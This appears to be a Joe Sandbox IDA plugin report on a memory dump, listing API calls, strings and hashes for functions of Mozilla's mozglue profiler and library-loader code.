seqstyle, xrefs: 6CA9CCE6

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 1f93be12989ce76de4ba615440e98231ab370f5fc886e0320c43ed8740dbbfbe
Instruction ID: cf6a9786c44e6b12fc29eaec98d5a13ae3f7cc22f74c6ce7f443f859046d7d6f
Opcode Fuzzy Hash: 1f93be12989ce76de4ba615440e98231ab370f5fc886e0320c43ed8740dbbfbe
Instruction Fuzzy Hash: 6B51B7D1B25A2516FE0031193E12BAA54C4FB5324EF18503AED1AA1F90FF04E7CE86B7

Function 6CA647C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CA64801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA64817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA6482D
__Init_thread_footer.LIBCMT ref: 6CA6484A

Part of subcall function 6CA8AB3F: EnterCriticalSection.KERNEL32(6CADE370,?,?,6CA53527,6CADF6CC,?,?,?,?,?,?,?,?,6CA53284), ref: 6CA8AB49
Part of subcall function 6CA8AB3F: LeaveCriticalSection.KERNEL32(6CADE370,?,6CA53527,6CADF6CC,?,?,?,?,?,?,?,?,6CA53284,?,?,6CA756F6), ref: 6CA8AB7C

GetCurrentThreadId.KERNEL32 ref: 6CA6485F
GetCurrentThreadId.KERNEL32 ref: 6CA6487E
AcquireSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA6488B
free.MOZGLUE(?), ref: 6CA6493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA64956
free.MOZGLUE(00000000), ref: 6CA64960
ReleaseSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA6499A

Part of subcall function 6CA8AB89: EnterCriticalSection.KERNEL32(6CADE370,?,?,?,6CA534DE,6CADF6CC,?,?,?,?,?,?,?,6CA53284), ref: 6CA8AB94
Part of subcall function 6CA8AB89: LeaveCriticalSection.KERNEL32(6CADE370,?,6CA534DE,6CADF6CC,?,?,?,?,?,?,?,6CA53284,?,?,6CA756F6), ref: 6CA8ABD1

free.MOZGLUE(?), ref: 6CA649C6
free.MOZGLUE(?), ref: 6CA649E9

Part of subcall function 6CA75E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA75EDB
Part of subcall function 6CA75E90: memset.VCRUNTIME140(6CAB7765,000000E5,55CCCCCC), ref: 6CA75F27
Part of subcall function 6CA75E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA75FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA64828
[I %d/%d] profiler_shutdown, xrefs: 6CA64A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6CA64A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA64812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA647FC

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 80810af89f7819cf33b7358300cda6f56c47fbfe84028cfd3517924a02f47c27
Instruction ID: 76439a7b6c06df03e6a81d7cca6606cc28d44c126c7b87775504240603100ea3
Opcode Fuzzy Hash: 80810af89f7819cf33b7358300cda6f56c47fbfe84028cfd3517924a02f47c27
Instruction Fuzzy Hash: 488125B5A002018FDB08DF6AD96875A37B5FF42319F184229D91697F81D730F8C9CBA6

Function 6CA64470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA64730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CA644B2,6CADE21C,6CADF7F8), ref: 6CA6473E
Part of subcall function 6CA64730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CA6474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CA644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CA644D2
InitOnceExecuteOnce.KERNEL32(6CADF80C,6CA5F240,?,?), ref: 6CA6451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA6455C
LoadLibraryW.KERNEL32(?), ref: 6CA64592
InitializeCriticalSection.KERNEL32(6CADF770), ref: 6CA645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CA645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CA645BB
InitOnceExecuteOnce.KERNEL32(6CADF818,6CA5F240,?,?), ref: 6CA64612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CA64636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CA64644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CA6466D
VerSetConditionMask.NTDLL ref: 6CA6469F
VerSetConditionMask.NTDLL ref: 6CA646AB
VerSetConditionMask.NTDLL ref: 6CA646B2
VerSetConditionMask.NTDLL ref: 6CA646B9
VerSetConditionMask.NTDLL ref: 6CA646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CA646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CA646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CA646FD

Strings

kernel32.dll, xrefs: 6CA644CD
NativeNtBlockSet_Write, xrefs: 6CA646F7
l, xrefs: 6CA64578
WRusr.dll, xrefs: 6CA644B5
user32.dll, xrefs: 6CA64557, 6CA6463F

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 5999a798dc5793d4f1e61992039e7ba025b652ddbaa93223c3f8fb01c01e5ac2
Instruction ID: 61d13066d3d5004c5025596f2c98717e87d77e700c8f24134a6b6b551b98c31f
Opcode Fuzzy Hash: 5999a798dc5793d4f1e61992039e7ba025b652ddbaa93223c3f8fb01c01e5ac2
Instruction Fuzzy Hash: BF61C2B0600345AFEB14DF66DC09BDA7BB8EB46308F08C55DE5049BA51D770AAC6CBA1

Function 6CA9E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA97090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CA9B9F1,?), ref: 6CA97107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CA9DCF5), ref: 6CA9E92D
GetCurrentThreadId.KERNEL32 ref: 6CA9EA4F
AcquireSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9EA5C
ReleaseSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9EA80
GetCurrentThreadId.KERNEL32 ref: 6CA9EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CA9DCF5), ref: 6CA9EA92
GetCurrentThreadId.KERNEL32 ref: 6CA9EB11
AcquireSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CA9EB3C
ReleaseSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9EB5B

Part of subcall function 6CA95710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA9EB71), ref: 6CA957AB

Part of subcall function 6CA8CBE8: GetCurrentProcess.KERNEL32(?,6CA531A7), ref: 6CA8CBF1
Part of subcall function 6CA8CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA531A7), ref: 6CA8CBFA

Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA64A68), ref: 6CA9945E
Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA99470
Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA99482
Part of subcall function 6CA99420: __Init_thread_footer.LIBCMT ref: 6CA9949F

GetCurrentThreadId.KERNEL32 ref: 6CA9EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CA9EBAC

Part of subcall function 6CA994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA994EE
Part of subcall function 6CA994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA99508

GetCurrentThreadId.KERNEL32 ref: 6CA9EBC1
AcquireSRWLockExclusive.KERNEL32(6CADF4B8,?,?,00000000), ref: 6CA9EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CA9EBE5
ReleaseSRWLockExclusive.KERNEL32(6CADF4B8,00000000), ref: 6CA9EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA9EC46
CloseHandle.KERNEL32(?), ref: 6CA9EC55
free.MOZGLUE(00000000), ref: 6CA9EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6CA9EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CA9EA9B

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 2ff373d8f6e20d70a137180222c412f588285329d6fe4809a12e03dd8e1952f5
Instruction ID: f80afdd2f762d7811a954563414acc020366dd4ad33e93f2e786d3a36ca12417
Opcode Fuzzy Hash: 2ff373d8f6e20d70a137180222c412f588285329d6fe4809a12e03dd8e1952f5
Instruction Fuzzy Hash: 87A147717013068FCB049F58DD45BAAB7F5FF86709F14812DE91987B41DB30A88ACBA1

Function 6CA9F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA64A68), ref: 6CA9945E
Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA99470
Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA99482
Part of subcall function 6CA99420: __Init_thread_footer.LIBCMT ref: 6CA9949F

GetCurrentThreadId.KERNEL32 ref: 6CA9F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CA9F8F9

Part of subcall function 6CA66390: GetCurrentThreadId.KERNEL32 ref: 6CA663D0
Part of subcall function 6CA66390: AcquireSRWLockExclusive.KERNEL32 ref: 6CA663DF
Part of subcall function 6CA66390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CA6640E

ReleaseSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9F93A
GetCurrentThreadId.KERNEL32 ref: 6CA9F98A
GetCurrentThreadId.KERNEL32 ref: 6CA9F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA9F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA9F716

Part of subcall function 6CA994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA994EE
Part of subcall function 6CA994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA99508

Part of subcall function 6CA5B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CA5B5E0

GetCurrentThreadId.KERNEL32 ref: 6CA9F739
AcquireSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9F746
GetCurrentThreadId.KERNEL32 ref: 6CA9F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CAD385B,00000002,?,?,?,?,?), ref: 6CA9F829
free.MOZGLUE(?,?,00000000,?), ref: 6CA9F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CA9F866
free.MOZGLUE(?), ref: 6CA9FA0C

Part of subcall function 6CA65E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA655E1), ref: 6CA65E8C
Part of subcall function 6CA65E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA65E9D
Part of subcall function 6CA65E60: GetCurrentThreadId.KERNEL32 ref: 6CA65EAB
Part of subcall function 6CA65E60: GetCurrentThreadId.KERNEL32 ref: 6CA65EB8
Part of subcall function 6CA65E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA65ECF
Part of subcall function 6CA65E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CA65F27
Part of subcall function 6CA65E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CA65F47
Part of subcall function 6CA65E60: GetCurrentProcess.KERNEL32 ref: 6CA65F53
Part of subcall function 6CA65E60: GetCurrentThread.KERNEL32 ref: 6CA65F5C
Part of subcall function 6CA65E60: GetCurrentProcess.KERNEL32 ref: 6CA65F66
Part of subcall function 6CA65E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CA65F7E

free.MOZGLUE(?), ref: 6CA9F9C5
free.MOZGLUE(?), ref: 6CA9F9DA

Strings

" attempted to re-register as ", xrefs: 6CA9F858
Thread , xrefs: 6CA9F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CA9F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6CA9F71F

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 7ca8fb229542166a7bb882bcf7b7afe98b4a214ccab543b4f9ab58020dee760a
Instruction ID: 4f404c98275832424889b76b657bda52d7834360d99d6acc60ed6634c602c58d
Opcode Fuzzy Hash: 7ca8fb229542166a7bb882bcf7b7afe98b4a214ccab543b4f9ab58020dee760a
Instruction Fuzzy Hash: 5D8114706143019FDB149F64C940AAEB7F5BF85308F59851DE8498BB51EB30E889CBA2

Function 6CA9EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA64A68), ref: 6CA9945E
Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA99470
Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA99482
Part of subcall function 6CA99420: __Init_thread_footer.LIBCMT ref: 6CA9949F

GetCurrentThreadId.KERNEL32 ref: 6CA9EE60
AcquireSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9EE6D
ReleaseSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA9EEA5
CloseHandle.KERNEL32(?), ref: 6CA9EEB4
free.MOZGLUE(00000000), ref: 6CA9EEBB
GetCurrentThreadId.KERNEL32 ref: 6CA9EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA9EECF

Part of subcall function 6CA9DE60: GetCurrentThreadId.KERNEL32 ref: 6CA9DE73
Part of subcall function 6CA9DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CA64A68), ref: 6CA9DE7B
Part of subcall function 6CA9DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CA64A68), ref: 6CA9DEB8
Part of subcall function 6CA9DE60: free.MOZGLUE(00000000,?,6CA64A68), ref: 6CA9DEFE
Part of subcall function 6CA9DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CA9DF38

Part of subcall function 6CA8CBE8: GetCurrentProcess.KERNEL32(?,6CA531A7), ref: 6CA8CBF1
Part of subcall function 6CA8CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA531A7), ref: 6CA8CBFA

GetCurrentThreadId.KERNEL32 ref: 6CA9EF1E
AcquireSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9EF2B
ReleaseSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9EF59
GetCurrentThreadId.KERNEL32 ref: 6CA9EFB0
AcquireSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9EFBD
ReleaseSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9EFE1
GetCurrentThreadId.KERNEL32 ref: 6CA9EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA9F000

Part of subcall function 6CA994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA994EE
Part of subcall function 6CA994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA99508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CA9F02F

Part of subcall function 6CA9F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA9F09B
Part of subcall function 6CA9F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CA9F0AC
Part of subcall function 6CA9F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CA9F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6CA9F008
[I %d/%d] profiler_stop, xrefs: 6CA9EED7

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 264bb64c4dc8700d785c3d2858598d18e5d3a873bddc9b88275642cb6146d3dd
Instruction ID: 760b938aac11090e67c1d197ac041ea67d44a1ce9fa2de9ee4e452b3f592c1ae
Opcode Fuzzy Hash: 264bb64c4dc8700d785c3d2858598d18e5d3a873bddc9b88275642cb6146d3dd
Instruction Fuzzy Hash: AD5167756113129FDB085B68EC0A79A37F4FB46319F18C21EE91583B41DB3078CAC7A2

Function 6CA65E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA65E9D

Part of subcall function 6CA75B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA756EE,?,00000001), ref: 6CA75B85
Part of subcall function 6CA75B50: EnterCriticalSection.KERNEL32(6CADF688,?,?,?,6CA756EE,?,00000001), ref: 6CA75B90
Part of subcall function 6CA75B50: LeaveCriticalSection.KERNEL32(6CADF688,?,?,?,6CA756EE,?,00000001), ref: 6CA75BD8
Part of subcall function 6CA75B50: GetTickCount64.KERNEL32 ref: 6CA75BE4

GetCurrentThreadId.KERNEL32 ref: 6CA65EAB
GetCurrentThreadId.KERNEL32 ref: 6CA65EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA65ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CA66017

Part of subcall function 6CA54310: moz_xmalloc.MOZGLUE(00000010,?,6CA542D2), ref: 6CA5436A
Part of subcall function 6CA54310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA542D2), ref: 6CA54387

moz_xmalloc.MOZGLUE(00000004), ref: 6CA65F47
GetCurrentProcess.KERNEL32 ref: 6CA65F53
GetCurrentThread.KERNEL32 ref: 6CA65F5C
GetCurrentProcess.KERNEL32 ref: 6CA65F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CA65F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CA65F27

Part of subcall function 6CA6CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA6CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA655E1), ref: 6CA65E8C

Part of subcall function 6CA6CA10: malloc.MOZGLUE(?), ref: 6CA6CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA655E1), ref: 6CA6605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA655E1), ref: 6CA660CC

Strings

GeckoMain, xrefs: 6CA65ECE, 6CA66015

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: a05e8a5a481518f4d815f1bbf137494c66c0454213bc1c20ce9a3a9e6090fa70
Instruction ID: c8be3b0bf95682553f0e2ff3ef91d52631fabcfcdb5d112551f4b81ec691d66b
Opcode Fuzzy Hash: a05e8a5a481518f4d815f1bbf137494c66c0454213bc1c20ce9a3a9e6090fa70
Instruction Fuzzy Hash: BF71F5B06057419FD704DF29D580A6ABBF0FF55308F44896DE48687F52DB30E989CB92

Function 6CA69590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CA53217
Part of subcall function 6CA531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CA53236
Part of subcall function 6CA531C0: FreeLibrary.KERNEL32 ref: 6CA5324B
Part of subcall function 6CA531C0: __Init_thread_footer.LIBCMT ref: 6CA53260
